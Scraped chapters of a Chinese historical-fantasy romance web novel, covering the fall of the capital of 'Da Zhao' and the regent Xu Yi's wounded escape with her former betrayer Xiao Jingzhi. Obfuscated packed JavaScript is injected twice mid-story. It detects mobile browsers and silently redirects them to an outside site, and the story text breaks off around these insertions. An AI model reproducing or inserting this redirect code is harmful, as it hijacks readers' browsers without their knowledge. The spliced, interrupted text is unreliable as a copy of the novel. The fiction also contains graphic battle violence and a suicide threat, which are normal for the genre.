许弋脚步一顿,眼前的少女剑眉星目,与樊不野竟有着七分相像,只是她脸上的轮廓更柔和些,听说樊不野有个表妹叫樊梨花,想必便是她了。 “混账!”樊老夫人从灵堂内冲出,一拐打在了樊梨花的后背上。 “你个一点仗都没打过的小兔崽子,跑战场上去干什么?拖人后腿吗?!”阿野刚走没多久,阿英又上赶着去送死,这真是会要了她的老命了。 “祖母!凭什么哥哥能打仗,我就不能!” “到底为何不让我上战场!这樊家枪法我都练熟了!我就不信我不会打仗!” 樊梨花倔强道,大昭又不是什么重男轻女的国家,祖母到底为什么一直拦着她,好不容易才等到逍遥王来了府里,她一定要试试! “殿下,小孩子家胡闹,你不要信她的鬼话。”樊玄英惴惴地看向许弋。 许弋的心怦怦直跳,大昭已经很久没有出过女将军了,有樊玄英和樊不野在前,樊梨花想来也不会太差。 但看着樊老夫人不安的神情,看着满堂飘动的白幡,许弋躁动的心再次归于平静。 她弯下腰,把樊梨花从地上扶起来,无声地侧过身向外走去了。 樊梨花挠挠头,看向许弋的背影,“到底是成了还是没成啊,好歹给句话嘛。” 樊老夫人又往她背上敲了一拐,真是个不省心的,但看着许弋的背影,她却莫名地松了一口气,逍遥王应该不会让她的孙女上战场了。 22. 心软 是夜,逍遥王府,萧静之悄悄摸进了嘉文殿。 此前,他以金丝楠木为巫阵之眼,在寝殿内施了幻影术。 阿舅说最好尽快北上去燕京把母亲接出来,拿了小楠木他就可以回去了,从此和殿下两不相见,彻底结束在大昭的生活。 寝殿内,熟悉的味道传来,是属于殿下的,独一无二的冷梅香,萧静之心头一阵恍惚,不可能的,殿下现在应该正在宫中处理政事。 萧静之趴在床头,在帷幔边摸索起来,“吧嗒”一声,薄薄的暗格弹开,他手往下一探,怎么是空的? 一道暗风袭来,后背猛得一痛,下一瞬,萧静之已被双手反剪压在了床上,“咻”得一声,机括弹出双翼,在他的脖颈间微微震颤。 此时,许弋用膝盖顶着萧静之的腰,左手扣住他的臂膀,右手弹开小楠木顶着他的后颈,一如当初他对她做的那样。 “殿下,是你么?”萧静之颤声道。 “别叫我殿下。”许弋冷哼一声,“你可曾把我当作大昭的王,一分,哪怕是一秒。” “殿下,我……”萧静之想要辩解,他张了张口,却一句话也说不出来。 “本王就这么好骗么?”许弋加大了腿部的力道,向着萧静之的腰窝碾去,“你处心积虑地接近我,引诱我,利用我,当真以为我什么都不知道么?” “啊……” “殿下……不要……好痛……” 后腰最敏感的地方被攻击,萧静之发出暗哑的痛呼声。 “哼,现在知道痛了,杀人的时候怎么不知道别人也会痛?” 嘴上虽这么说,但听到萧静之的呻吟,许弋还是不由得收了点力,但仿佛觉得轻饶了他似的,许弋俯下身来,在他的耳畔恶狠狠地咬了一口。 “唔……”萧静之再次受痛,眼中漫出氤氲水汽。 口齿间被血腥味充斥,许弋终于松了口。 “告诉你,你想通过我去做什么,我根本就不在乎。” “红尘男女,爱欲沉浮,栽在你身上,本王也没什么好说的。” “只是。”许弋再次坐直身体,将小楠木扎进了他的脖颈。 “千不该,万不该,你也不该把主意打到樊不野的头上。” 樊不野是大昭最勇武善战的将军,只要有他在,前线后方便有生机,萧静之杀了他,等同于断了大昭的后路。 现在,只要在钩键上轻轻一按,她就可以彻底结束萧静之的性命,杀了这个让一切都分崩离析,摇摇欲坠的罪魁祸首。 “哈哈哈……”萧静之低低地笑出声来。 “死到临头了,你笑什么笑?”许弋手下动作一顿,萧静之的笑声悲凉至极,听得她毛骨悚然。 “我笑殿下看不清自己的心。” “樊不野都死得透透的了,殿下再去爱他,是不是有点晚了?” “你说什么?”许弋想反驳萧静之,她不爱樊不野,但萧静之没有给她说话的机会。 下一刻,天旋地转,萧静之从她手下脱身而出。 许弋人虽往后倒去,但她左臂一挥,一把拽住萧静之的腰带,将他再次砸到了床榻之上。 萧静之弹起身来,以手为刀去劈向许弋面门,许弋不管不顾撞上前去,硬是要把他再次推倒。 电光火石间,眼看萧静之的手刀就要劈到许弋,他终究是收了力道,任由许弋把他压在了身下。 许弋整个人跨坐在萧静之腰间,她右手拿着机括,紧紧地顶在他的胸膛上。 萧静之的双手被松开,他没有去推许弋,反倒扶着她的腰笑了起来,笑得花枝乱颤,笑得抚媚至极,像夜间的妖精,引诱着你坠入深渊。 “殿下,杀了我吧。” “杀了我,我就再也不用受思念之苦了。” “我的心好痛啊。这里,就是被你指着的这里。这里每天都在想你,想到快要裂开了。” 萧静之把手放在心口摩挲着道,如果可以的话,他真的好想把自己的心剖出来给殿下看看,他到底有多想她。 深宫之中,他总是见不到她,就算见到了,也只能远远地看着。后来好不容易进了逍遥王府,她却是入宫去了。 不过,这都无所谓了,萧静之目光决绝,“左右是得不到殿下的爱,我情愿死在殿下的手里,让殿下永远也忘不了我。” 他握着许弋的手,猛地往胸口一拉,鲜血呼啦啦地涌出来,刺红了许弋的双眼。 思念就像是一把刀,早就把他的心扎得千疮百孔,血肉模糊了,此时的痛楚不及他深夜辗转反侧时的万分之一。 箭簇越来越深地扎下去,黏腻的血液弥漫在许弋的指尖。 “扑通”“扑通”“扑通”许弋清晰地感觉到,萧静之的心脏正在她手中跳动着,她微微颤抖起来,“萧静之,你当真以为我不敢杀你么。” “哈哈哈,来啊!杀了我啊!” “如果我活在这世上,你爱谁,我就去杀谁,你爱樊不野,我就杀了樊不野,你若是爱天下人,我就杀尽天下人。“ “到最后,这个世界上只剩下你和我了,你没人可以爱了,就只能爱我了,哈哈,哈哈哈。” 许弋眼眸微颤,她大力扯过金丝楠木,一把掷在了地上,“萧静之,你这个疯子。” “叮呤咣啷”几声轻响,小巧的机弩摔在冷硬的大理石地面上,机括扭曲,满身裂痕。 许弋松开了萧静之,站到了床边。 背对着他,许弋不忍道,“你走吧,趁我现在心软。” 萧静之捂着胸口,从床上支起身体,眼神迷茫,“殿下,你……” 许弋闭上眼睛,睫毛微颤,“我数到五,如果转过身来还能看见你,那就别怪我无情了。” “五、四、三……” 一阵微风从许弋身侧飘过,干瘪的荼蘼花瓣浮道半空之中,随着微风从寝殿内飘了出去,落到冷风中,坠到污泥里,再也无人轻嗅芬芳。 萧静之走后,许弋收拾好情绪,来到了千机阁,她需要关于前线的最新战报,朝廷的文书终究是来得太慢了。 可是,等待着她的却是漫天黯淡的星辰,无论她怎么拨弄都毫无反应。 金边小人们胡乱地倒在京师的模型里,好像冬日里枯败的树叶,破破烂烂的,失去了所有的生机。 砚山洛水,砚山楼,许弋蹬蹬蹬一路跑上了二楼。 “乌纯声!” “乌纯声!你快给我出来!” “你怎么给本王办事的!星宿图怎么又坏了!你快给我出来修!” 但没有人应答她,楼中的帷幔惨淡地漂浮着,北风呼啸着拍在木窗上,惹得窗纸一阵悲鸣,风信子的味道淡了很多,取而代之的是萧索,寂寥。 许弋突然觉得身上有点冷,她抱了抱双臂,轻声道,“乌纯声,你在哪里?” 绕过屏风,拨开珠链,楼台上依旧空无一人,暮色中,宫城就沉睡在不远处,向一只在冬眠的巨兽。 浓郁的香味袭来,许弋返回楼内,却见副楼主魏云立在她的身前。 “殿下,好久不见。”魏云冲着她弯了弯眼睛道。 “魏云,你把乌纯声藏到哪里去了?”许弋踏步向前,一把揪住了魏云的衣领子。 “殿下说得什么话,脚长在人自己身上,我能对他做什么?”魏云垂下双眼,委屈道。 “你什么意思?”许弋愣怔片刻,松开了手。 魏云抱着皮毛袖笼,在许弋身边踱起了步,“纯声每天在这砚山楼的楼台上痴痴地站着,等着殿下,盼着殿下,殿下却迟迟不来。” 他一双媚眼上下翻飞,将许弋从头到尾打量了一番,“这人心么,再怎么热切,一直得不到回应的话,迟早有一天会凉的。” “你是说他……”许弋的眉头紧紧蹙了起来,乌纯声会离开她?她不相信。 “他走了。”魏云重新在许弋面前站定,挑眉道。 “不可能。”许弋双眼直视魏云,似乎要在他脸上烧出个洞来。 “呵呵呵。”魏云抖着肩膀笑起来。 “殿下啊殿下,没想到你也是这般天真的人物。” “人心易变,在这个世界上,没有人会等着谁一辈子,不爱了就是不爱了。殿下,你后悔也来不及了。” 魏云说着,凑到许弋的耳边,向她吹了口气道,“奴家反正整日都消磨在这砚山洛水里,倒是可以一直等着殿下,等得久一点,再久一点。” 许弋抬手隔开了魏云,“魏副楼主千娇百媚,本王可受不住。” 魏云退开一步,笑了声道,“殿下,话别说太满。” “殿下,高处不胜寒啊,若是哪天殿下连个说心里话的人都找不到了,或许还有奴家,在这里等着你。” 他说罢,冲着许弋眨了眨眼,转身下了楼。 听着脚步声远去,许弋一颗心渐渐往下沉。 明明,现在是她最需要他的时候,他怎么忍心离开的。 好像以往都是他来找她,他突然不见了,除了这里,她根本不知道去哪里找啊。 不多时,从宫城中一路跟着许弋的侍从匆忙地跑了上来,“殿下,该回宫了,一会儿要赶不上早朝了。” “嗯。”许弋应了一声,最后回头看了阁楼一眼,古琴、香炉、黑白棋……都静静地留在原来的位置上,但侍弄它们的人却已经不在了。 砚山楼,已人去楼空。 *** 嘉定元年的这个冬天,当真是不好过,许弋每日在崇政殿中处理政务,感觉就像坐上了过山车那般,一会儿冲上高高的云霄,一会儿坠在深深的谷底。 与金国的合约已定,若此时毁约反倒会给日后金国进攻大昭留下借口,最好的办法便是拿下燕京,以榆山关为天然屏障抵抗金兵。 没有暗影卫的辅助,许弋只能硬着头皮每日盯着战报。 老将侯益出师未捷身先死,还未入霸州的城门,便已在半路上病死了。 临时负责指挥的副将是他的儿子侯勇谋,但此子无勇无谋,贪功冒进,在蓝沟淀被耶律大石的军队打得措手不及。 所幸童贯在平定方腊挑起的叛乱后迅速北上驰援,大昭的军队这才没有输得太惨烈。 好景不长,萧幹和耶律大石从幽州南下,分东、西两路包抄,打得童贯也难以招架。 大军且战且退,眼看着离燕京城越来越远。 战况瞬息万变,耶律淳暴死,萧幹与他的妃子秦氏联手把持了朝政,常胜军将领虞敬真提着燕京守将李处温的脑袋来投诚了! 消息传来,满朝文武可谓是弹冠相庆。 至此,三十万大昭将士兵临燕京城下,与北燕大军遥相对峙。 阿骨打的金兵也在榆山关外安营扎寨,只要破开燕京城,一切困扰大昭的战局就全都迎刃而解了。 大昭率先发动了进攻。 虞敬真一心立功,亲率五千骑兵夜袭燕京城。 但耶律大石从西线回援,反将虞敬真困在城中,虞敬真精锐损失过半,按照约定发布信号要求张延驰援。 这个时候双方若是里应外合,依旧有机会破开城门。 但作为驰援的张延胆小懦弱,看到耶律大石佯装来攻的军队,竟放火烧了大营,丢盔卸甲地连夜逃走了。 大量的粮草、军备都被他丢在了战线上,同时被丢弃的,还有大昭的将士们。 冬日的北境风雪眯眼、气候恶劣,不少北上的将士都发了热病,他们身染重疾,无力作战,也跟不上行军的速度,只得眼睁睁地看着大军越走越远。 “好饿啊,好想吃了我自己啊……” “来,吃一口雪吧,吃一口雪就不饿了……” 风霜之中,将士们三三两两地蜷缩在一起,抱着失去知觉的身体等待着,不知是漫天飞雪先将他们吞噬,还是敌人的大刀先将他们的首级取走。 作战之资丢失殆尽,大昭已然失去了主动进攻的能力。 一步错步步错,从张延的逃跑开始,拉开了大昭在北线的全面溃败。 当耶律大石追击大昭溃败的军队时,阿骨打却趁机出兵,抢占了燕京。 *** 崇政殿,赵元正蹙着眉头,听臣子们你一言我一语地辩论起来。 她看见他们的身影前进了又后退,他们的嘴巴张开了又闭上,至于他们说的话,好似变成一口口热气,涌到半空中便消散了。 “陛下,在我大昭和金国的合约中,金兵不可擅自过榆山关。” “如今阿骨打不顾合约抢占燕京,足以见他的狼子野心。恐怕他对我大昭垂涎已久,一有机会便会强攻啊!” 枢密副使文广通急迫道。 “陛下!我军在北线损失惨重,金兵若是打过来,恐怕我军难以防备。” “微臣以为,调遣军队增强京师防御才是上上之策。” 兵部尚书安尧臣附议道。 “陛下,胜败乃兵家常事。” “我大昭与金国联手的目的便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“谢大人连同薛氏父子……都被齐齐砍了脑袋,挂在了燕京城的城门上。” 文广通别过脸去,艰难道。 “轰”得一声,许弋仿佛被天雷击中。 因为她知道,杀了谢珉怀的不是阿骨打,是她!是她亲手将他送往敌营,绝了他的性命。 许弋半边身子麻木起来,几乎失去知觉,她踉跄着退了几步,扶着案几坐下,这才不动声色地稳住了身形。 “殿下,现下该如何是好?”文广通苦涩地问道。 许弋微微闭了闭眼,按下内心翻涌的情绪,迅速做出了决断。 “密令李汉雄、郑山谷率领骑兵突击,在霸州以北扰乱金兵南下之计。” “密令虞敬真死守保州,挡住金兵的主力。” “密令童贯率领大军退守冀州,适时支援虞敬真。告诉童贯,如果他连冀州都守不住,也就不用活着回来大昭了。” 果然弱国无外交,国家的军备若是不强大,谈得再好的合约都只是一纸空文。 燕京城外榆山关是对抗北方游牧民族的天然屏障,燕京失守后,距离大昭京师还有金坡关、古北关两道关口。 若是能以这两道关口的优势挡住金兵的铁骑,大昭或许能重建北线边防,重新取得与金国和谈的资格。 “是!”文广通领了命令匆匆向殿外跑去。 许弋闭上眼睛,大昭面临的困境与脑海中模糊的宋代历史重合起来。 无论是战是逃,她好像都已经预感到了大昭的灭亡,难道在重新叙事的游戏中,无论做出怎样的选择,都不能改变一个国家的命运吗? 还是……她介入的太晚了?还是……许弋脑中灵光一闪,她根本就是被剧情推着往前走的,她从头到尾都没有介入! 不出七日,前所未有的噩耗从北线传来。 三十万大昭军队在古北关口被突如其来的雪崩活埋,都元帅完颜宗翰亲率大军踏着大昭将士的尸骨南下,一路势如破竹,接连攻下三十二座城池。 一时间,朝野沸腾,怒骂声与痛哭声如丛林中野兽的嘶吼般交织在一起。但最多的声音,还是关于南迁的。 “陛下!南迁吧!” 胡秉芮抖着身子说道,许弋从未见过他如此激动。 “陛下!大昭在江浙还有五路大军,北调却是来不及的。” “但倘若我们沿着汴河南下,一过岷江便是天谕军的地盘了。女真蛮子不识水性,定能将他们阻拦在岷江之北。” 枢密副使文广通劝谏道。 “陛下!留着青山在,不怕没柴烧啊,陛下!” 兵部尚书安尧臣高声道。 小小的赵元绷着个脸,偷偷看向许弋,见许弋微微冲她点了点头,她才如释重负般地道,“好,朕允了。逍遥王,你去办。” “若无他事,便退朝吧。”赵元从凤座上站了起来,小果子猫着腰赶上来,携着她的手向外走去。 赵元心中忐忑至极,都在这样的时刻了,她为什么还要去资善堂听那一帮子老夫子讲之乎者也? 那些古书上的名臣圣君,没有一个能够解决大昭眼下面临的难题。 文德殿,许弋将诸事与百官详议诸事。 北线的防卫要如何尽可能地延长,好为南迁争取时间。 官员、氏族、商贾、百姓应当如何撤离,才不会招致恐慌和混乱。 南下的船只要从哪里调遣,尽量保证数量的充足。 祖宗牌位、文物古董、粮食财物等事物又要如何处置,桩桩件件,事无巨细。 平常搬个家都要折腾三四天,更何况是迁走一座都城。一天下来,许弋只觉精疲力尽,仿佛被抽干了所有的力气。 夜里,许弋躺在仙阙宫的床铺上,沉寂仿佛黑暗中的野兽般压在她的身上,要一口一口把她吞噬,她突然察觉到了自己的孤立无援。 樊不野战死,谢珉怀被砍头,萧静之被她赶走,乌纯声不知所踪。 自从她回宫接任摄政王后,便再也没有见过乌纯声的影子,千机阁也早就不管用了,连他也离开她了吗? 有那么几次,她见到了那只好看的狸花猫,可是它只是用防备的神情瞟了自己几眼,便飞也似得跑开了,那终归不是他。 许弋将手臂挡在脸上,她穿过来以后是在玩游戏吗?她简直是在玩命啊! 而且她这一把好像玩得太菜了,四个男主玩死了两,救大命啊,能不能重新开一局啊…… 23. 再相见 女真一族的士兵们没有给大昭丝毫体面离开的机会。 骑兵由北南下,轻而易举地突破了大昭在北边孱弱的防线。 除夕前夜,骑兵渡过黄河后,几乎是在一夜之间便打到了陈桥门外,京师已然岌岌可危。 三衙禁军们做着最后无畏的抵抗,只求为大昭飘摇的未来求得一片生机。 原本便萧索至极的年味彻底被打破,宫城内乱成一片。 女官内侍们仓皇而逃,珠宝金钗被他们藏在行囊中,在慌张的神色间滚落一地,被逃亡的脚步匆匆踏碎。 “殿下,文帝!文帝不肯走!”崇政殿外,小果子带着哭腔,从宫道上跑了过来。 “什么?”许弋将赵元往小果子身前一推,“你先带陛下走,我回去找阿姐。” “姨姨!姨姨!我和你一起去找娘亲!”赵元追了两步,一把拉住了许弋的袖子。 “元儿乖!先走!姨姨一定把你娘亲带回来。”许弋半蹲下来,扶着赵元的肩膀认真道。 “姨姨,我……”赵元惶急地睁着眼睛,她怎么能丢下娘亲和姨姨,独自一人逃命去。 “还愣着干什么?!!还不快些带陛下走!”许弋对着小果子严厉道。 “诶!”小果子当机立断,一把抱起赵元向着宫城外奔去,“陛下,老奴得罪了!” “小果子!你放我下来!不然看我回头怎么罚你!” 赵元在小果子的肩头哭喊道,一张脸憋的通红又气又急,万一娘亲和姨姨再也不回来怎么办。 “祖宗啊,咱就听殿下的话吧。” 小果子苦涩地回应着赵元,脚下发足急奔。 福宁宫,赵凝破天荒地清醒了过来,她看着眼前跪倒在地的崔逢,始终不敢相信大昭当下面临的窘境。 “荒谬,女真一族总共只有三支兵,他们哪里来的胆量撕破合约,从会宁府越过燕京一路打到我大昭的。” “陛下!自阿骨打攻下北燕的宁江州后,就有各地的熟女真等不少长期受到燕武帝压迫的部族前往投奔。” “再加上燕云十六州过去的叛将降军,大金的兵力早已超过了六十万啊!” 赵凝在殿内踱起步来,她的脑袋很沉重,仿若马上要坠往海底。 她要花费很大的力气,才能在水面上保持呼吸。她右手握拳,一下又一下猛烈地敲击着太阳穴,喃喃自语道,“别掉下去,别掉下去。” 崔逢单膝跪在地上,心中焦急万分,三衙禁军的战斗力并不是很强,眼看着金兵就要杀进内廷了! 所幸,逍遥王殿下匆匆赶来的身影终于让他松了一口气。 “芙儿!你来得正好!你告诉我,金兵打到京师来了,这是真是假?” 赵凝看到许弋,迎上前问道。 “阿姐……你醒过来了阿姐。” 许弋惊讶道。 “我睡了很久么?”赵凝的神情恍惚了一瞬,又接着问道,“童贯呢?樊不野呢?我北线的三十万大军呢,就算金兵打过来又有什么要紧的呢?把他们打回去不就可以了。” “阿姐,大军……早就被雪崩活埋了。” 许弋忍不住跪下来,“阿姐,是芙儿没用,是芙儿没有守好大昭。” “不对啊,我京师十二道城门,共有三十六枚火炮,他们怎么能打到宫城里来的?开炮轰他们啊!!!” 赵凝瞪大着眼睛愤怒道。 京师还有火炮的么,这倒是许弋不知道的。 难道京师之中有奸细,亦或者阿骨打的内应,他们才会这么快攻破陈桥门的?但现在想这些已经来不及了。 “可是,阿姐,金兵已经杀进拱宸门了……” “啊……大昭是要亡了啊。” 赵凝出了神,如梦般呓语道。 “阿姐就和芙儿走吧,出了宫还有一声生机。” 许弋摇着赵凝的裙摆,恳求道。 “不,我不能走。”赵凝将许弋推倒在地上,一把抽出了崔逢腰间的长刀。 她右手的指缝拨着刀锋,蹭亮的刀面上倒映出她业已衰老的容颜,她看着自己眼角的皱纹,喃喃道,“我怎么能走呢,我可是大昭的女帝,我应该和大昭同生共死的啊。” “阿姐!”许弋心到不妙,伸手便要去夺赵凝手中的长刀。 赵凝一脚踢在许弋肩膀上,一把将长刀横在脖颈前,“别管我!否则我现在就自绝于此,不然我还能用这把刀砍几个金兵。” 崔逢一颗心狂跳着,他在心里设想了百十个角度,看如何能将赵凝手中的长刀夺过来。 谁知赵凝双眼如电,看着他闪动的眼光,便将刀刃往颈前一贴,细密的红血珠立刻从她细长的脖颈下流了出来,“你们走不走!” “好,我们走,我们走,阿姐你别冲动。”许弋看着赵凝,慢慢地从地上爬起来。 许弋往大殿外走着,却是一步三回首。 “阿姐,后苑的冷香院寝殿内有一条暗道,阿姐你若是想通了,就去那里拉开右手边第一个大衣柜。” 赵凝神情决绝,“我哪里也不去,我就在这里。” 隐约的杀声从殿外传来,崔逢焦急道,“殿下,快些,再不走就真的来不及了。” “好。”许弋强忍住酸涩的眼泪,回过头向着殿外走了出去。 他二人身后,赵凝拖着长刀一步步走到了宫灯前。 她一刀砍破华丽的灯罩,拖起烧了半截的流着红泪的蜡烛,翘起兰花指哼哼呀呀地唱起戏文来。昏黄的烛火将她的影子拉得长长,与帷幔重叠在一起。 片刻后,如星火般的火焰从帷幔上燃起,转眼间便成为熊熊大火,吞噬了整座宫殿。 “阿姐!”许弋在宫道上看着福宁殿的大火,心中悲痛至极。 “姨姨!”此时,赵元的惨呼声将许弋拉回了现实。 许弋回过头,只见小果子抱着赵元从宫道上狂奔过来,身后是且战且退的殿前司禁军,还有提着大刀砍杀过来的金兵。 “跟我来!走暗道。” 许弋从小果子手里接过赵元,左转向着内苑奔去。 只不过,没等到她跑几步,金兵的大刀已经落到了她的脚下。 “殿下小心!”崔逢猛扑过来,撞开与许弋近在咫尺的金国大汗,从他手中夺过兵刃,一刀卸了他的脑袋。 鲜血从金兵断裂的脖颈中喷射而出,染红了他半边的脸,崔逢好似从地狱中走出的杀神,一刀一个砍掉了眼前的所有阻碍。 “殿下,末将为你开路了!” 许弋鼻头酸涩起来,抱紧赵元,从尸山血海中穿过,向着内着苑夺命而逃。 “弟兄们,为了最后的大昭!冲啊!” 在她身后,不到一百的禁卫军与滚滚而来的金兵扑杀起来,顿时血肉横飞,满地横尸。 崔逢终究独木难支,身中数刀倒在了血泊之中。 金兵恨他如此残暴地砍杀将士,以绳索捆住他的脖颈与四肢,骑着高头大马当场将他五马分尸。 宫道上,飞箭与利刃不断袭来,许弋猫着腰,或滚、或爬,将赵元护在怀中,左转、右折。 一只狸花猫的身影在檐角间飞窜,猫儿跃过的地方,乱石飞射,将不少金兵从宫道两边的高墙上打了下来。 “嘶”一阵剧痛袭来,许弋侧过头,一只长箭深深地插到了她的肋骨中,震得她整个左半边的身体都麻木起来。 但她咬牙劈掉了箭杆子,死死抱着赵元,一刻不停地向着冷香院跑去。 她知道,只要她一松手,赵元下一刻就会没命。 “殿下!”小果子看着许弋勒间地鲜血,惊呼道。 “废什么话,我没死,跑快点。”许弋侧过头,对着小果子交代道。 小果子仓皇地跟着她,在心中暗暗发誓,一定,一定要守着殿下和陛下从宫里逃出去! 刚踏进冷香院的院门,还没有喘口气,金兵便追击而至。 领头的似乎是个将领,他肩上扛着一枚狼牙棒,向着三人一步步走来。 许弋发起抖来,暗门就在身后的寝殿里,如果她可以拖住金兵,让小果子带着赵元跑出去,或许……大昭还有一线希望。 想到这里,许弋将赵元交给小果子,轻声道,“寝殿内右手边第一个衣柜,快去。” 小果子听罢,猫起腰,向着寝殿内步步退去了。 许弋理了理衣襟,对着金国的将领梗住了脖子。 看着狼牙棒上满满地尖锐的铁钉,她心里微微发怵,这一棒要是打下来她必定当场脑浆迸裂而亡。 但她还是深深地吸了口气,彻底豁了出去。 “金国与大昭原本约定一同进攻北燕,阿骨打却先是背信弃义擅自抢占了燕京,再是撕毁合约直取我京师,你们的王就是这般卑鄙无耻之徒吗?” 金国的将领冷笑一声,“哼,你算是什么东西?成者为王,败者为寇,阿骨打无耻不无耻的,轮不到你来说。” “我乃大昭的摄政王,一人之下,万人之上,我要求面见你们的王!”许弋竖着眉毛道。 “摄政王?哈哈哈哈哈哈!就算你们的皇帝在这里也没有用!”金国的将领舞起狼牙棒,对着许弋的脑袋砍将下来。 冰冷的铁风吹过许弋的脸颊,许弋轻轻闭上了眼,结束了,一切都要结束了,她终于可以休息了。 然而,预想中的疼痛并没有到来。 一声呼啸从许弋耳畔响起,等她睁开眼,却看看见男人依旧高举着狼牙棒。 他的表情很复杂,面脸的轻蔑与手到擒来的狂傲中夹杂着一丝难以置信的震惊。在他的胸前有个黑黢黢的洞口,鲜血正不停地从中流出来。 眨眼间,一个身影挡在她的面前,一脚将金国将领踢翻在地。 “咻咻咻”只听他连发三弩,眼前的金兵却倒了一大半,另有身着农衣的契丹武士从殿内涌出,向着金兵冲杀过去。 “萧静之……”看到眼前的人,许弋一时呆了。 “看来,我赌对了。”萧静之转过身来,抚着许弋的脸颊,心如刀割,是他亲手将她推入了如此境地。 “啪”得一声脆响,许弋一个巴掌打在了他的脸上,“我是不是说过让你永远消失在我眼前。” “殿下,现在可不是发脾气的时候啊。”萧静之苦笑起来,一手提着机弩,一手拉着许弋,朝着殿内的暗门跑去。 长长的甬道内静寂无声,似乎将所有的惊险、阴谋与背叛都隔绝在了外面。二人一时无言,唯有一双手紧紧地握在一起。 “赵元和小果子呢?你来的路上碰到了吗?”许弋担忧地问道。 “嗯,已经有将士护着他们从暗道出去了。”萧静之低声答道。 “你杀了樊不野,我恨你一辈子。”许弋冷言道。 “恩。恨吧。别死了就好。”萧静之脚下顿了顿,前进的速度慢了下来。 许弋又沉默了下去,郊天大礼的埋伏中,除了射杀樊不野,那支没有射中赵元的箭,也是他的手笔吗? 那个时候,她离赵元那么近,他是否有将箭镞对准她的背心?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14044806|146155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“喵呜。”静默间,一只猫儿的叫声从背后传来。 难道是乌纯声?许弋停下脚步回过头,只见那只熟悉的狸花猫缩着一只脚,一瘸一拐地沿着甬道向她走来。 它右侧的后腿上有着深可见骨的伤口,目光里充满了委屈和惊慌。 这不是乌纯声吧,许弋心中微微叹了一口气,不然她该听到的应该不是猫叫。 许弋撒开萧静之的手,往回跑了几步,半蹲下来将狸花猫抱了起来,“怎么连你也伤了。” 该死的金兵真是作孽,怎么连小猫也欺负。 “喵呜”“喵呜”小狸花蹭着许弋的手臂,撒娇似得叫着。 萧静之也往回走了几步,“快走吧,追兵就在后面,我的人也不多,不可大意。” “嗯。”许弋再次迈步,“是宫里的小猫咪,好聪明,竟然跟着我逃到了这里。” 萧静之瞥了许弋的左侧肋下,裂开的箭杆边,暗红色的血正从中沁出来,“你还受着伤,我来抱?” “喵呜”萧静之还没伸出手,狸花猫便抗议起来。 许弋揉了揉它的脑袋,“没事,它不重,我来吧。” 甬道很快到了尽头,昏暗的街道上停着两辆马车,前面的那辆车轮滚动,已然向着马行街奔去了。 “明帝和小果子在前面的马车里,我们上后面这辆。”萧静之跨步上了马车,托着许弋的手臂将她也带了上来。 马车中,许弋简易地为小狸猫包扎了一番,将它放在了脚下淡青色的蒲团上,看着它闭上眼睛养起精神来,才终于心下稍安。 等到真正坐下来喘口气时,她才惊觉左边的衣袍里凉飕飕,黏腻腻的。 她突然明白过来,那都是她的血,此前跑动的时候是热的,现下停下来就凉了。 “殿下,我来帮你处理箭伤。”很明显,一旁的萧静之也注意到了,他伸手就要去解许弋的衣服。 “不要,我自己来。”许弋躲开他的手,倔强道。 “好。”萧静之面色一僵,手在半空中停了片刻,又很无力地垂了下去。 紧接着,他将绷带,短刀,金创药一股脑儿地堆到了许弋身前的短案,侧过身去了。 许弋解开衣袍,按在箭杆上,微微往外拉了一丝。 “嘶……”鲜血涓涓地涌出来,痛得她倒吸一口冷气,她不由得马上停止了动作。 萧静之听到许弋的呻吟,捏了捏拳头,强忍着闭了闭眼睛,这才没有转过身去。 再来,她就不信她不行了,许弋一手撑在案上,一手放在肋间,猛得一拉。 “啊……”箭簇破开皮肉的声音响起,引得她身体一阵痉挛。 “啪啦哒”一声,许弋的手扶在案几上,不知打翻了什么,滚到地上,碎了一地。 萧静之再也忍不住了,他转过身来,紧紧抿着唇,不顾许弋的反对,掰开她的手,开始查看她的伤口。 箭簇没入血肉的位置很深,真不知道她是怎么面不改色地扛到现在的。 而且看型号好像是内里带勾子的那种,如果强行拔除,会带出一大片血肉。 “忍着点。”萧静之拔出短刀,无声地探入许弋的伤口中,一按一挑间,“当啷”一声,冷硬的箭头便带着鲜红的血液坠落在地。 许弋闷哼一声,是真他妈的痛啊。 鲜红的血液从伤口处涌出,萧静之左手掐住许弋的腰腹,右手飞快倒上金创药,再为她麻利地缠上一圈圈的绷带。 灼烧般的感觉从肋下传来,许弋紧紧咬着牙,痛得冷汗连连。 药粉的味道弥漫在许弋的鼻尖,刚刚她就觉得这个味道好熟悉,这是……樊不野的伤药!杀了樊不野的人,却拿了他的药吗? 许弋瞬间把手臂往回缩了一寸,却疼得倒吸一口冷气。 “别乱动。”萧静之禁锢着她,将绷带缠得更紧了。 她瘦了好多,原本饱满丰腴的身躯,如今瘦得只剩下一把骨头,摸着她向外突出的肋骨,他的心简直像在滴血。 许弋低下头,萧静之身上柔和的兰草香味充斥在她的鼻尖,他俯身在她的腰间环抱着她,她却再也抬不起手去回应他。 地上的箭簇刺痛了她的眼睛,曾几何时,他也曾飞扑在她身前,为她挡下三枚箭镞,那时候,她也是这样抱着他。 伤口处理完毕,萧静之利落地为许弋束好衣带,整理好外袍,又将他的大氅披在她的身上,紧紧地包裹着她。 蓦地,萧静之的手顿住了,上次帮她批大氅,还是在暖炉会的时候,但一切都已物是人非。 他看着她的眼睛,里面缱绻的爱意已经消失不见,徒留下无尽的悲伤。 忽然,马车往□□倒,许弋身体失去重心,往旁边倒去。 下一瞬,她落到一个温暖的怀中,萧静之稳稳接住了她,双眼沉静如水,透露出烈火般的光芒,“别害怕,有我在。” 